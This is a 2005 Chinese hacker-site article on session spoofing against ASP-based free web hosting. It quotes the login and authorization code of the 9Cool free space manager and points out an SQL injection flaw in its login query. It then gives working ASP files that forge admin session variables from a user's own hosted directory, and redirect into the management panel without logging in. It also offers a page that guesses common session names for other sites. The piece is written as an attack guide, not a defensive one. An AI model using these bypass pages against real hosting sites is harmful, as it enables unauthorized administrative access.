通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
推荐:Session欺骗的终极技术
责任编辑:古典辣M°   更新日期:2005-12-7
 

看了第四期LM团伙写的《利用Session欺骗构造最隐蔽的WebShell》,虽然具体技术不是很明白,但是基本意思理解了。忽然有了自己的一点思想:现在的免费空间主目录和用户的目录都在同一个网站上,例如网站主目录是d:\wwwroot,而用户申请的免费空间的目录就是d:\wwwroot\用户名,例如d:\wwwroot\iceworld,主站的管理员登录是通过Session验证的,如果我们在自己的空间内构造一个同主站相同的Session变量以及Session的值,是不是就可以欺骗主站呢?
不知道大家理解了没。
假如adminlogin.asp是主站管理员登录页面,如果登录成功,就把Session("login")="yes",并转到adminmanage.asp进行管理。当然,adminmanage.asp有Session("login")的检测。现在我们在自己申请的空间目录iceworld中建立一个文件admin.asp,这个文件的作用是使Session("login")="yes",我们先访问自己的admin。asp,然后访问adminlogin.asp,应该不用再登录了,而是直接进入adminmanage.asp。事实是否可以呢?我们找个免费空间测试一下。
以九酷网络提供的免费空间管理系统(V 4.0免费版)为例子来说明吧,本地测试先。
我们先分析一下。主目录是d:\wwwroot\9coolhome,管理目录是d:\wwwroot\9coolhome\manage。默认用户目录是d:\wwwroot\9coolhome\用户名。
先看看管理员登录过程,登录文件是login.asp,关键代码如下:
code=replace(trim(Request("code")),"'","")
If code<>CStr(Session("CheckCode")) Then
Response.Write("<script language=javascript>alert('请输入正确的验证码!');top.location.href='login.asp'</script>")
Response.End
end if
'上面代码是对验证码进行检测
name=htmlencode2(request.form("name"))
pwd=htmlencode2(md5(request.form("pwd")))
loginip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
if loginip= "" then loginip=Request.ServerVariables("REMOTE_ADDR")
sql="select * from manage_user where UserName='"&name&"' And PassWord='"&pwd&"'"
rs.open sql,conn,1,3
If not rs.eof = True Then
rs("logintime")=Now()
rs("loginip")=loginip
rs.update
Session("name") = rs("username")
Session("pwd") = rs("password")
Session("time") = now()
Response.Redirect("default.asp")
'如果接受到的用户名和密码正确,更新最后登录时间和IP地址,并且赋值给3个Session变量,然后转到管理页面default.asp,不知道大家有没有注意到那个SQL语句也有问题啊!
else
set rs2=server.createobject("adodb.recordset")
sql2="select * from log"
rs2.open sql2,conn,1,3
rs2.AddNew
rs2("type")="非法登录"
rs2("username")=name
rs2("password")=request.form("pwd")
rs2("loginip")=loginip
rs2("time")=now()
rs2.update
rs2.Close
set rs2=nothing
Response.write"<script>alert('对不起,管理员帐号或密码错误!');location.href='login.asp'</script>"
end if
'如果登录失败的话,填写错误登录日志
管理页面default.asp的第一行包含了一个文件,<!--#include file="admin.asp"-->,而这个admin.asp就是用户权限审核页面了,我们看看:
<%
if Session("name")="" then
Response.write"<script>alert('对不起,您还没有登录,或登录超时,请重新登录!');top.location.href='login.asp'</script>"
response.End
end if
%>
只要Session("name")不为空就认为登录成功啊,好办了!我们申请一个用户iceworld,上传一个文件index.asp到自己的目录中去,内容如下:
<%
Session("name")="yes"
response.Redirect("../manage/default.asp")
%>
访问看看,是不是直接进入了管理页面。


要进行这种Session欺骗,必须有三个前提:
1.进行欺骗的网页和被欺骗的网页必须位于同一个网站内,上期黑防上LM团伙和koshan已经说得很清楚了。
2.必须知道管理页面。
3.必须知道Session变量以及它的限制条件。
至于解决方法,第一个问题就不用说了吧,这篇文章就是在这个前提下进行的。第二个问题,相信大家以前SQL注入的时候早就遇到过,各显神通吧!对于第三个问题,首先看看主站是不是使用了别人写的程序,如果是的话,下载一个源程序进行查看,应该不会有很多人喜欢改源代码吧!如果是站长自己写的程序的话,我们就猜,跟猜后台一样:
Session("name")="admin"
Session("login")="admin"
Session("AdminName")="admin"
......
当然不要手工进行了,我们在admin.asp中写上:
<%
Session("name")="admin"
Session("login")="admin"
Session("AdminName")="admin"
'加上其它你所知道的
%>
为了照顾不会写ASP的同仁们,所以我写了一个简单的利用页面(见光盘index.asp)。很容易理解的。如果你刚好申请的是九酷的免费空间,的填写就可以了。
最后说明两点:
第1:虽然本文标题说是突破免费空间,但是应用不仅仅是免费空间哦!
第2:看了第四期中彭硕大哥写的《打破SSS的技术封锁》,只有一个感觉——爽!没有什么高深的技术,因为我基本上都能理解,而这种思路是学不来的!感谢黑防为我们提供这样好的文章,期待更好的文章!

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题